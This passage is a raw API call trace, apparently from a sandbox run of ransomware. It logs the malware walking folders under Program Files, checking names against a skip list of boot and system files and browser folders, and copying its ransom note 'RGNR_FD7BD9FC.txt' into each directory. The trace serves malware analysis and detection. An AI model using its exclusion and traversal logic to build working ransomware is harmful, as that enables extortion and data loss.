ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2=".") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="..") returned 1 [0078.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0078.222] lstrcmpiW (lpString1="msdia90.dll", lpString2=".") returned 1 [0078.222] lstrcmpiW (lpString1="msdia90.dll", lpString2="..") returned 1 [0078.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dd4c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.222] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.222] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dd4c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.222] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0078.222] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0078.222] lstrcpyW (in: lpString1=0x1eb62c, lpString2="msdia100.dll" | out: lpString1="msdia100.dll") returned="msdia100.dll" [0078.222] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned=".dll" [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="autorun.inf") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="boot.ini") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootfont.bin") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootsect.bak") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootmgr") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootmgr.efi") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootmgfw.efi") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="desktop.ini") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="iconcache.db") returned 1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="ntldr") returned -1 [0078.222] lstrcmpiW (lpString1="msdia100.dll", lpString2="ntuser.dat") returned -1 [0078.223] lstrcmpiW (lpString1="msdia100.dll", lpString2="ntuser.dat.log") returned -1 [0078.223] lstrcmpiW (lpString1="msdia100.dll", lpString2="ntuser.ini") returned -1 [0078.223] lstrcmpiW (lpString1="msdia100.dll", lpString2="thumbs.db") returned -1 [0078.223] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.223] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.223] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.223] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0078.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0078.223] lstrcpyW (in: lpString1=0x1eb62c, lpString2="msdia90.dll" | out: lpString1="msdia90.dll") returned="msdia90.dll" [0078.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia90.dll") returned=".dll" [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="autorun.inf") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="boot.ini") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="bootfont.bin") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="bootsect.bak") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="bootmgr") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="bootmgr.efi") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="bootmgfw.efi") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="desktop.ini") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="iconcache.db") returned 1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="ntldr") returned -1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="ntuser.dat") returned -1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="ntuser.dat.log") returned -1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="ntuser.ini") returned -1 [0078.223] lstrcmpiW (lpString1="msdia90.dll", lpString2="thumbs.db") returned -1 [0078.223] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.223] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.223] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.223] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dd4c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0078.223] lstrcpyW (in: lpString1=0x1eb62c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.223] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.223] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dd4c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.223] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.223] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2=".") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="..") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Windows") returned -1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Windows.old") returned -1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Tor browser") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Internet Explorer") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Google") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Opera") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Opera Software") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Mozilla") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="Mozilla Firefox") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="$Recycle.Bin") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="ProgramData") returned 1 [0078.224] lstrcmpiW (lpString1="VGX", lpString2="All Users") returned 1 [0078.224] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.224] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="VGX" | out: lpString1="VGX") returned="VGX" [0078.224] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\" [0078.224] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\" [0078.224] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\RGNR_FD7BD9FC.txt" [0078.224] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.226] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*" [0078.226] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0078.226] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.226] lstrcpyW (in: lpString1=0x1eb21a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.226] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.226] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.226] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.226] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.226] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dd4c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.226] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.226] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.226] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2=".") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="..") returned 1 [0078.227] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0078.227] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.227] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.227] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80dd4c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.227] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0078.227] lstrcpyW (in: lpString1=0x1eb62e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.227] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.227] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.227] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0078.227] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0078.227] lstrcpyW (in: lpString1=0x1eb62e, lpString2="VGX.dll" | out: lpString1="VGX.dll") returned="VGX.dll" [0078.227] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\VGX.dll") returned=".dll" [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="autorun.inf") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="boot.ini") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="bootfont.bin") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="bootsect.bak") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="bootmgr") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="bootmgr.efi") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="bootmgfw.efi") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="desktop.ini") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="iconcache.db") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="ntldr") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="ntuser.dat") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="ntuser.dat.log") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="ntuser.ini") returned 1 [0078.227] lstrcmpiW (lpString1="VGX.dll", lpString2="thumbs.db") returned 1 [0078.228] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.228] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.228] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.228] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0078.228] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.228] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2=".") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="..") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Windows") returned -1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Windows.old") returned -1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Tor browser") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Internet Explorer") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Google") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Opera") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Opera Software") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Mozilla") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="Mozilla Firefox") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="$Recycle.Bin") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="ProgramData") returned 1 [0078.228] lstrcmpiW (lpString1="Visio Shared", lpString2="All Users") returned 1 [0078.228] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.228] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Visio Shared" | out: lpString1="Visio Shared") returned="Visio Shared" [0078.228] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared", lpString2="\\" | out: 